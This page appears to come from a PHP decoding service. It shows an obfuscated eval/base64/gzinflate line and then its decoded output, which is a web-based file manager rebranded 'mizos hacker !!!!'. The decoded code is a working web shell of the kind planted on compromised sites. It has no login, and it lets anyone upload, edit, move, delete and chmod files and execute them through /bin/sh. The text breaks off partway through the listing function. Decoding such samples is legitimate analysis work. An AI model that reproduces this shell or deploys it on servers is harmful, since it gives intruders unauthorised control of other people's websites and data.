Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode(rawurldecode('7X17kxw3kt%2FfM58CHM2qZ1bzJqnHvMTmcEiOxJ..

Decoded Output download

/*
 * mizos hacker !!!! - a simple Web-based file manager
 * Copyright (C) 2004  mizos hacker !!!! <>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
 * -------------------------------------------------------------------------
 * While using this script, do NOT navigate with your browser's back and
 * forward buttons! Always open files in a new browser tab!
 * -------------------------------------------------------------------------
 *
 * This is Version 0.9, revision 9
 * =========================================================================
 *
 * Changes of revision 9
 * <>
 *    added workaround for directory listing, if lstat() is disabled
 *    fixed permisson of uploaded files (thanks to Stephan Duffner)
 *
 * Changes of revision 8
 * <[email protected]>
 *    added Turkish translation
 * <[email protected]>
 *    added Czech translation
 * <>
 *    improved charset handling
 *
 * Changes of revision 7
 * <[email protected]>
 *    added Spanish translation
 * <[email protected]>
 *    added Danish translation
 * <>
 *    improved rename dialog
 *
 * Changes of revision 6
 * <[email protected]>
 *    added Dutch translation
 *
 * Changes of revision 5
 * <>
 *    added language auto select
 *    fixed symlinks in directory listing
 *    removed word-wrap in edit textarea
 *
 * Changes of revision 4
 * <[email protected]>
 *    added French translation
 * <[email protected]>
 *    added Swedish translation
 *
 * Changes of revision 3
 * <[email protected]>
 *    improved Italian translation
 *
 * Changes of revision 2
 * <>
 *    got images work in some old browsers
 *    fixed creation of directories
 *    fixed files deletion
 *    improved path handling
 *    added missing word 'not_created'
 * <[email protected]>
 *    improved human readability of file sizes
 * <[email protected]>
 *    added Italian translation
 *
 * Changes of revision 1
 * <>
 *    mizos hacker !!!! completely rewritten:
 *    - clean XHTML/CSS output
 *    - several files selectable
 *    - support for windows servers
 *    - no more treeview, because
 *      - mizos hacker !!!! is a >simple< file manager
 *      - performance problems (too much additional code)
 *      - I don't like: frames, java-script, to reload after every treeview-click
 *    - execution of shell scripts
 *    - introduced revision numbers
 *
/* ------------------------------------------------------------------------- */

/* Your language:
 * 'en' - English
 * 'de' - German
 * 'fr' - French
 * 'it' - Italian
 * 'nl' - Dutch
 * 'se' - Swedish
 * 'sp' - Spanish
 * 'dk' - Danish
 * 'tr' - Turkish
 * 'cs' - Czech
 * 'auto' - autoselect
 */
$lang = 'auto';

/* Charset of output:
 * possible values are described in the charset table at
 * http://www.php.net/manual/en/function.htmlentities.php
 * 'auto' - use the same charset as the words of my language are encoded
 */
$site_charset = 'auto';

/* Homedir:
 * For example: './' - the script's directory
 */
$homedir = './';

/* Size of the edit textarea
 */
$editcols = 80;
$editrows = 25;

/* -------------------------------------------
 * Optional configuration (remove # to enable)
 */

/* Permission of created directories:
 * For example: 0705 would be 'drwx---r-x'.
 */
# $dirpermission = 0705;

/* Permission of created files:
 * For example: 0604 would be '-rw----r--'.
 */
# $filepermission = 0604;

/* Filenames related to the apache web server:
 */
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';

/* ------------------------------------------------------------------------- */

if (get_magic_quotes_gpc()) {
	array_walk($_GET, 'strip');
	array_walk($_POST, 'strip');
	array_walk($_REQUEST, 'strip');
}

if (array_key_exists('image', $_GET)) {
	header('Content-Type: image/gif');
	die(getimage($_GET['image']));
}

if (!function_exists('lstat')) {
	function lstat ($filename) {
		return stat($filename);
	}
}

$delim = DIRECTORY_SEPARATOR;

if (function_exists('php_uname')) {
	$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
} else {
	$win = ($delim == '\') ? true : false;
}

if (!empty($_SERVER['PATH_TRANSLATED'])) {
	$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
	$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
	$scriptdir = getcwd();
} else {
	$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);

$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;

if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
	$dir = relative2absolute($dir, $_POST['olddir']);
}

$directory = simplify_path(addslash($dir));

$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
	$action = $_POST['action_all'];
	for ($i = 0; $i < $_POST['num']; $i++) {
		if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
			$files[] = $_POST["file$i"];
		}
	}
} elseif (!empty($_REQUEST['action'])) {
	$action = $_REQUEST['action'];
	$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
	$files[] = $_FILES['upload'];
	$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
	for ($i = 0; $i < $_POST['num']; $i++) {
		if (array_key_exists("submit$i", $_POST)) break;
	}
	if ($i < $_POST['num']) {
		$action = $_POST["action$i"];
		$files[] = $_POST["file$i"];
	}
}
if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
	$files[] = relative2absolute($_POST['create_name'], $directory);
	switch ($_POST['create_type']) {
	case 'directory':
		$action = 'create_directory';
		break;
	case 'file':
		$action = 'create_file';
	}
}
if (sizeof($files) == 0) $action = ''; else $file = reset($files);

if ($lang == 'auto') {
	if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
		$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
	} else {
		$lang = 'en';
	}
}

$words = getwords($lang);

if ($site_charset == 'auto') {
	$site_charset = $word_charset;
}

$cols = ($win) ? 4 : 7;

if (!isset($dirpermission)) {
	$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
	$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}

if (!empty($_SERVER['SCRIPT_NAME'])) {
	$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
	$self = html(basename($_SERVER['PHP_SELF']));
} else {
	$self = '';
}

if (!empty($_SERVER['SERVER_SOFTWARE'])) {
	if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
		$apache = true;
	} else {
		$apache = false;
	}
} else {
	$apache = true;
}

switch ($action) {

case 'view':

	if (is_script($file)) {

		/* highlight_file is a mess! */
		ob_start();
		highlight_file($file);
		$src = ereg_replace('<font color="([^"]*)">', '<span style="color: ">', ob_get_contents());
		$src = str_replace(array('</font>', "
", "
"), array('</span>', '', ''), $src);
		ob_end_clean();

		html_header();
		echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';

		for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i
";

		echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';

		html_footer();

	} else {

		header('Content-Type: ' . getmimetype($file));
		header('Content-Disposition: filename=' . basename($file));

		readfile($file);

	}

	break;

case 'download':

	header('Pragma: public');
	header('Expires: 0');
	header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
	header('Content-Type: ' . getmimetype($file));
	header('Content-Disposition: attachment; filename=' . basename($file) . ';');
	header('Content-Length: ' . filesize($file));

	readfile($file);

	break;

case 'upload':

	$dest = relative2absolute($file['name'], $directory);

	if (@file_exists($dest)) {
		listing_page(error('already_exists', $dest));
	} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
		@chmod($dest, $filepermission);
		listing_page(notice('uploaded', $file['name']));
	} else {
		listing_page(error('not_uploaded', $file['name']));
	}

	break;

case 'create_directory':

	if (@file_exists($file)) {
		listing_page(error('already_exists', $file));
	} else {
		$old = @umask(0777 & ~$dirpermission);
		if (@mkdir($file, $dirpermission)) {
			listing_page(notice('created', $file));
		} else {
			listing_page(error('not_created', $file));
		}
		@umask($old);
	}

	break;

case 'create_file':

	if (@file_exists($file)) {
		listing_page(error('already_exists', $file));
	} else {
		$old = @umask(0777 & ~$filepermission);
		if (@touch($file)) {
			edit($file);
		} else {
			listing_page(error('not_created', $file));
		}
		@umask($old);
	}

	break;

case 'execute':

	chdir(dirname($file));

	$output = array();
	$retval = 0;
	exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);

	$error = ($retval == 0) ? false : true;

	if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');

	if ($error) {
		listing_page(error('not_executed', $file, implode("
", $output)));
	} else {
		listing_page(notice('executed', $file, implode("
", $output)));
	}

	break;

case 'delete':

	if (!empty($_POST['no'])) {
		listing_page();
	} elseif (!empty($_POST['yes'])) {

		$failure = array();
		$success = array();

		foreach ($files as $file) {
			if (del($file)) {
				$success[] = $file;
			} else {
				$failure[] = $file;
			}
		}

		$message = '';
		if (sizeof($failure) > 0) {
			$message = error('not_deleted', implode("
", $failure));
		}
		if (sizeof($success) > 0) {
			$message .= notice('deleted', implode("
", $success));
		}

		listing_page($message);

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "	<b>" . word('really_delete') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "	" . html($file) . "<br />
";
		}

		echo '	</p>
	<hr />
	<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';

		html_footer();

	}

	break;

case 'rename':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (!@file_exists($dest) && @rename($file, $dest)) {
			listing_page(notice('renamed', $file, $dest));
		} else {
			listing_page(error('not_renamed', $file, $dest));
		}

	} else {

		$name = basename($file);

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
	<input type="hidden" name="action" value="rename" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<b>' . word('rename_file') . '</b>
	<p>' . html($file) . '</p>
	<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
	<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
	<hr />
	<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'move':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		$failure = array();
		$success = array();

		foreach ($files as $file) {
			$filename = substr($file, strlen($directory));
			$d = $dest . $filename;
			if (!@file_exists($d) && @rename($file, $d)) {
				$success[] = $file;
			} else {
				$failure[] = $file;
			}
		}

		$message = '';
		if (sizeof($failure) > 0) {
			$message = error('not_moved', implode("
", $failure), $dest);
		}
		if (sizeof($success) > 0) {
			$message .= notice('moved', implode("
", $success), $dest);
		}

		listing_page($message);

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "	<b>" . word('move_files') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "	" . html($file) . "<br />
";
		}

		echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'copy':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (@is_dir($dest)) {

			$failure = array();
			$success = array();

			foreach ($files as $file) {
				$filename = substr($file, strlen($directory));
				$d = addslash($dest) . $filename;
				if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
					$success[] = $file;
				} else {
					$failure[] = $file;
				}
			}

			$message = '';
			if (sizeof($failure) > 0) {
				$message = error('not_copied', implode("
", $failure), $dest);
			}
			if (sizeof($success) > 0) {
				$message .= notice('copied', implode("
", $success), $dest);
			}

			listing_page($message);

		} else {

			if (!@file_exists($dest) && @copy($file, $dest)) {
				listing_page(notice('copied', $file, $dest));
			} else {
				listing_page(error('not_copied', $file, $dest));
			}

		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';

		request_dump();

		echo "
<b>" . word('copy_files') . '</b>
	<p>
';

		foreach ($files as $file) {
			echo "	" . html($file) . "<br />
";
		}

		echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'create_symlink':

	if (!empty($_POST['destination'])) {

		$dest = relative2absolute($_POST['destination'], $directory);

		if (substr($dest, -1, 1) == $delim) $dest .= basename($file);

		if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);

		if (!@file_exists($dest) && @symlink($file, $dest)) {
			listing_page(notice('symlinked', $file, $dest));
		} else {
			listing_page(error('not_symlinked', $file, $dest));
		}

	} else {

		html_header();

		echo '<form action="' . $self . '" method="post">

<table class="dialog" id="symlink">
<tr>
	<td style="vertical-align: top">' . word('destination') . ': </td>
	<td>
		<b>' . html($file) . '</b><br />
		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
		<label for="checkbox_relative">' . word('relative') . '</label>
		<input type="hidden" name="action" value="create_symlink" />
		<input type="hidden" name="file" value="' . html($file) . '" />
		<input type="hidden" name="dir" value="' . html($directory) . '" />
	</td>
</tr>
<tr>
	<td>' . word('symlink') . ': </td>
	<td>
		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
		<input type="submit" value="' . word('create_symlink') . '" />
	</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

case 'edit':

	if (!empty($_POST['save'])) {

		$content = str_replace("
", "
", $_POST['content']);

		if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
			listing_page(notice('saved', $file));
		} else {
			listing_page(error('not_saved', $file));
		}

	} else {

		if (@is_readable($file) && @is_writable($file)) {
			edit($file);
		} else {
			listing_page(error('not_edited', $file));
		}

	}

	break;

case 'permission':

	if (!empty($_POST['set'])) {

		$mode = 0;
		if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
		if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
		if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;

		if (@chmod($file, $mode)) {
			listing_page(notice('permission_set', $file, decoct($mode)));
		} else {
			listing_page(error('permission_not_set', $file, decoct($mode)));
		}

	} else {

		html_header();

		$mode = fileperms($file);

		echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>

	<hr />

	<table id="permission">
	<tr>
		<td></td>
		<td style="border-right: 1px solid black">' . word('owner') . '</td>
		<td style="border-right: 1px solid black">' . word('group') . '</td>
		<td>' . word('other') . '</td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('read') . ':</td>
		<td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('write') . ':</td>
		<td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('execute') . ':</td>
		<td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
		<td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
	</tr>
	</table>

	<hr />

	<input type="submit" name="set" value="' . word('set') . '" />

	<input type="hidden" name="action" value="permission" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';

		html_footer();

	}

	break;

default:

	listing_page();

}

/* ------------------------------------------------------------------------- */

function getlist ($directory) {
	global $delim, $win;

	if ($d = @opendir($directory)) {

		while (($filename = @readdir($d)) !== false) {

			$path = $directory . $filename;

			if ($stat = @lstat($path)) {

				$file = array(
					'filename'    => $filename,
					'path'        => $path,
					'is_file'     => @is_file($path),
					'is_dir'      => @is_dir($path),
					'is_link'     => @is_link($path),
					'is_readable' => @is_readable($path),
					'is_writable' => @is_writable($path),
					'size'        => $stat['size'],
					'permission'  => $stat['mode'],
					'owner'       => $stat['uid'],
					'group'       => $stat['gid'],
					'mtime'       => @filemtime($path),
					'atime'       => @fileatime($path),
					'ctime'       => @filectime($path)
				);

				if ($file['is_dir']) {
					$file['is_executable'] = @file_exists($path . $delim . '.');
				} else {
					if (!$win) {
						$file['is_executable'] = @is_executable($path);
					} else {
						$file['is_executable'] = true;
					}
				}

				if ($file['is_link']) $file['target'] = @readlink($path);

				if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
				if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));

				$files[] = $file;

			}

		}

		return $files;

	} else {
		return false;
	}

}

function sortlist (&$list, $key, $reverse) {

	quicksort($list, 0, sizeof($list) - 1, $key);

	if ($reverse) $list = array_reverse($list);

}

function quicksort (&$array, $first, $last, $key) {

	if ($first < $last) {

		$cmp = $array[floor(($first + $last) / 2)][$key];

		$l = $first;
		$r = $last;

		while ($l <= $r) {

			while ($array[$l][$key] < $cmp) $l++;
			while ($array[$r][$key] > $cmp) $r--;

			if ($l <= $r) {

				$tmp = $array[$l];
				$array[$l] = $array[$r];
				$array[$r] = $tmp;

				$l++;
				$r--;

			}

		}

		quicksort($array, $first, $r, $key);
		quicksort($array, $l, $last, $key);

	}

}

function permission_octal2string ($mode) {

	if (($mode & 0xC000) === 0xC000) {
		$type = 's';
	} elseif (($mode & 0xA000) === 0xA000) {
		$type = 'l';
	} elseif (($mode & 0x8000) === 0x8000) {
		$type = '-';
	} elseif (($mode & 0x6000) === 0x6000) {
		$type = 'b';
	} elseif (($mode & 0x4000) === 0x4000) {
		$type = 'd';
	} elseif (($mode & 0x2000) === 0x2000) {
		$type = 'c';
	} elseif (($mode & 0x1000) === 0x1000) {
		$type = 'p';
	} else {
		$type = '?';
	}

	$owner  = ($mode & 00400) ? 'r' : '-';
	$owner .= ($mode & 00200) ? 'w' : '-';
	if ($mode & 0x800) {
		$owner .= ($mode & 00100) ? 's' : 'S';
	} else {
		$owner .= ($mode & 00100) ? 'x' : '-';
	}

	$group  = ($mode & 00040) ? 'r' : '-';
	$group .= ($mode & 00020) ? 'w' : '-';
	if ($mode & 0x400) {
		$group .= ($mode & 00010) ? 's' : 'S';
	} else {
		$group .= ($mode & 00010) ? 'x' : '-';
	}

	$other  = ($mode & 00004) ? 'r' : '-';
	$other .= ($mode & 00002) ? 'w' : '-';
	if ($mode & 0x200) {
		$other .= ($mode & 00001) ? 't' : 'T';
	} else {
		$other .= ($mode & 00001) ? 'x' : '-';
	}

	return $type . $owner . $group . $other;

}

function is_script ($filename) {
	return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
}

function getmimetype ($filename) {
	static $mimes = array(
		'\.jpg$|\.jpeg$'  => 'image/jpeg',
		'\.gif$'          => 'image/gif',
		'\.png$'          => 'image/png',
		'\.html$|\.html$' => 'text/html',
		'\.txt$|\.asc$'   => 'text/plain',
		'\.xml$|\.xsl$'   => 'application/xml',
		'\.pdf$'          => 'application/pdf'
	);

	foreach ($mimes as $regex => $mime) {
		if (eregi($regex, $filename)) return $mime;
	}

	// return 'application/octet-stream';
	return 'text/plain';

}

function del ($file) {
	global $delim;

	if (!@is_link($file) && !file_exists($file)) return false;

	if (!@is_link($file) && @is_dir($file)) {

		if ($dir = @opendir($file)) {

			$error = false;

			while (($f = readdir($dir)) !== false) {
				if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
					$error = true;
				}
			}
			closedir($dir);

			if (!$error) return @rmdir($file);

			return !$error;

		} else {
			return false;
		}

	} else {
		return @unlink($file);
	}

}

function addslash ($directory) {
	global $delim;

	if (substr($directory, -1, 1) != $delim) {
		return $directory . $delim;
	} else {
		return $directory;
	}

}

function relative2absolute ($string, $directory) {

	if (path_is_relative($string)) {
		return simplify_path(addslash($directory) . $string);
	} else {
		return simplify_path($string);
	}

}

function path_is_relative ($path) {
	global $win;

	if ($win) {
		return (substr($path, 1, 1) != ':');
	} else {
		return (substr($path, 0, 1) != '/');
	}

}

function absolute2relative ($directory, $target) {
	global $delim;

	$path = '';
	while ($directory != $target) {
		if ($directory == substr($target, 0, strlen($directory))) {
			$path .= substr($target, strlen($directory));
			break;
		} else {
			$path .= '..' . $delim;
			$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
		}
	}
	if ($path == '') $path = '.';

	return $path;

}

function simplify_path ($path) {
	global $delim;

	if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
		$path = realpath($path);
		if (@is_dir($path)) {
			return addslash($path);
		} else {
			return $path;
		}
	}

	$pattern  = $delim . '.' . $delim;

	if (@is_dir($path)) {
		$path = addslash($path);
	}

	while (strpos($path, $pattern) !== false) {
		$path = str_replace($pattern, $delim, $path);
	}

	$e = addslashes($delim);
	$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;

	while (ereg($regex, $path)) {
		$path = ereg_replace($regex, $delim, $path);
	}
	
	return $path;

}

function human_filesize ($filesize) {

	$suffices = 'kMGTPE';

	$n = 0;
	while ($filesize >= 1000) {
		$filesize /= 1024;
		$n++;
	}

	$filesize = round($filesize, 3 - strpos($filesize, '.'));

	if (strpos($filesize, '.') !== false) {
		while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
			$filesize = substr($filesize, 0, strlen($filesize) - 1);
		}
	}

	$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));

	return $filesize . " {$suffix}B";

}

function strip (&$str) {
	$str = stripslashes($str);
}

/* ------------------------------------------------------------------------- */

function listing_page ($message = null) {
	global $self, $directory, $sort, $reverse;

	html_header();

	$list = getlist($directory);

	if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
	if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;

	sortlist($list, $sort, $reverse);

	echo '<h1 style="margin-bottom: 0">mizos hacker !!!!</h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table id="main">
';

	directory_choice();

	if (!empty($message)) {
		spacer();
		echo $message;
	}

	if (@is_writable($directory)) {
		upload_box();
		create_box();
	} else {
		spacer();
	}

	if ($list) {
		listing($list);
	} else {
		echo error('not_readable', $directory);
	}

	echo '</table>

</form>

';

	html_footer();

}

function listing ($list) {
	global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;

	echo '<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';

	$d = 'dir=' . urlencode($directory) . '&amp;';

	if (!$reverse && $sort == 'filename') $r = '&amp;reverse=true'; else $r = '';
	echo "	<th class=\"filename\"><a href=\"$self?{$d}sort=filename$r\">" . word('filename') . "</a></th>
";

	if (!$reverse && $sort == 'size') $r = '&amp;reverse=true'; else $r = '';
	echo "	<th class=\"size\"><a href=\"$self?{$d}sort=size$r\">" . word('size') . "</a></th>
";

	if (!$win) {

		if (!$reverse && $sort == 'permission') $r = '&amp;reverse=true'; else $r = '';
		echo "	<th class=\"permission_header\"><a href=\"$self?{$d}sort=permission$r\">" . word('permission') . "</a></th>
";

		if (!$reverse && $sort == 'owner') $r = '&amp;reverse=true'; else $r = '';
		echo "	<th class=\"owner\"><a href=\"$self?{$d}sort=owner$r\">" . word('owner') . "</a></th>
";

		if (!$reverse && $sort == 'group') $r = '&amp;reverse=true'; else $r = '';
		echo "	<th class=\"group\"><a href=\"$self?{$d}sort=group$r\">" . word('group') . "</a></th>
";

	}

	echo '	<th class="functions">' . word('functions') . '</th>
</tr>
';

	for ($i = 0; $i < sizeof($list); $i++) {
		$file = $list[$i];

		$timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
		$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
		$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);

		echo '<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
	<td class="filename" title="' . html($timestamps) . '">';

		if ($file['is_link']) {

			echo '<img src="' . $self . '?image=link" alt="link" /> ';
			echo html($file['filename']) . ' &rarr; ';

			$real_file = relative2absolute($file['target'], $directory);

			if (@is_readable($real_file)) {
				if (@is_dir($real_file)) {
					echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
				} else {
					echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
				}
			} else {
				echo html($file['target']);
			}

		} elseif ($file['is_dir']) {

			echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
			if ($win || $file['is_executable']) {
				echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
			} else {
				echo html($file['filename']);
			}
			echo ' ]';

		} else {

			if (substr($file['filename'], 0, 1) == '.') {
				echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
			} else {
				echo '<img src="' . $self . '?image=file" alt="file" /> ';
			}

			if ($file['is_file'] && $file['is_readable']) {
			   echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
			} else {
				echo html($file['filename']);
			}

		}

		if ($file['size'] >= 1000) {
			$human = ' title="' . human_filesize($file['size']) . '"';
		} else {
			$human = '';
		}

		echo "	<td class=\"size\"$human>{$file['size']} B</td>
";

		if (!$win) {

			echo "	<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';

			$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
			if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
			echo html(permission_octal2string($file['permission']));
			if ($l) echo '</a>';

			echo "</td>
";

			if (array_key_exists('owner_name', $file)) {
				echo "	<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>
";
			} else {
				echo "	<td class=\"owner\">{$file['owner']}</td>
";
			}

			if (array_key_exists('group_name', $file)) {
				echo "	<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>
";
			} else {
				echo "	<td class=\"group\">{$file['group']}</td>
";
			}

		}

		echo '	<td class="functions">
		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';

		$actions = array();
		if (function_exists('symlink')) {
			$actions[] = 'create_symlink';
		}
		if (@is_writable(dirname($file['path']))) {
			$actions[] = 'delete';
			$actions[] = 'rename';
			$actions[] = 'move';
		}
		if ($file['is_file'] && $file['is_readable']) {
			$actions[] = 'copy';
			$actions[] = 'download';
			if ($file['is_writable']) $actions[] = 'edit';
		}
		if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
			$actions[] = 'execute';
		}

		if (sizeof($actions) > 0) {

			echo '		<select class="small" name="action' . $i . '" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';

			foreach ($actions as $action) {
				echo "		<option value=\"$action\">" . word($action) . "</option>
";
			}

			echo '		</select>
